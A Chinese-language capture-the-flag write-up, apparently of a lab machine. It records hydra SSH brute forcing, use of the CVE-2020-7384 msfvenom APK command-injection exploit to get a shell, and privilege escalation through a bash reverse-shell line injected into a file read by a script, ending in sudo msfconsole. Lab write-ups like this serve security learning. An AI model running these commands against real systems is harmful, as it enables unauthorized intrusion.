只有一个22端口，难道是要爆破吗？
hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt -V -t 50 ssh://10.10.10.226:22
用hydea爆破了好久都没有结果，应该不是爆破22端口，看来是nmap的扫描结果有问题，看来这个语句还是在追求nmap速度的时候才有一点点效果。

看起来像是一个大马工具箱一样的东西，研究了半天还是没搞懂要怎么利用，最后看了一眼别人的攻略，才知道关键点在payloads这个地方，但是要使android的一个反弹木马是一个CVE的exp(CVE-2020-7384)，下载好之后，添加到msfconsole当中，在metasploit-framework/modules/exploits路径下面新建一个文件夹，将下载好的rd文件移动到新建的文件夹当中就好，本来是新建了一个rd文件然后把代码复制进去的，但是打开msfconsole之后，使用了reload_all也没有加载进来。
sudo msfconsole use exploit/newexploit/metasploit_msfvenom_apk_template_cmd_injection set lhost 10.10.14.2 set lport 4444 exploit [+]msf.apk stored at /root/.msf4/local/msf.apk
将生成的msf.apk移动到当前用户目录下面，方便使用。
sudo chmod 777 msf.apk
nc -lvnp 4444
给木马赋予权限，使用nc监听4444端口，就是反弹木马连接的端口。
os选择android，lhost填自己的IP地址，将msf.apk上传，然后点击generate，nc这边就接收到shell了。接收到连接之后是没有用户标识符的，需要使用python3来重新进入到bashshell当中。
python3 -c "import pty;pty.spawn('/bin/bash')"
Getshell，读取Userflag
用户目录共有两个用户一个kid一个pwn
查看了pwn文件当中的scanlosers.sh内容是5000端口当中nmap的调用文件，但是其中的lou参数标示了下一步怎么做。
当语句为真时执行nmap扫描的语句，当语句不为真是则返回输出hackers当中的内容。
于是往hackers当中写入木马语句。
先将nc挂起，监听4242端口
然后将下语句写入，；前有两个空格，一个空格执行之后连接不到nc
echo " ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/4242 0>&1' #" >> hackers
连接到nc之后，现在有了更高的权限，运行了scanlosers.sh，什么都没有发生。？？然后使用sudo -l
语句查询一下有sudo语句运行权限。
sudo语句可以直接运行msfconsole
sudo msfconsole
拥有root权限，读入root目录下的 rootflag文件。
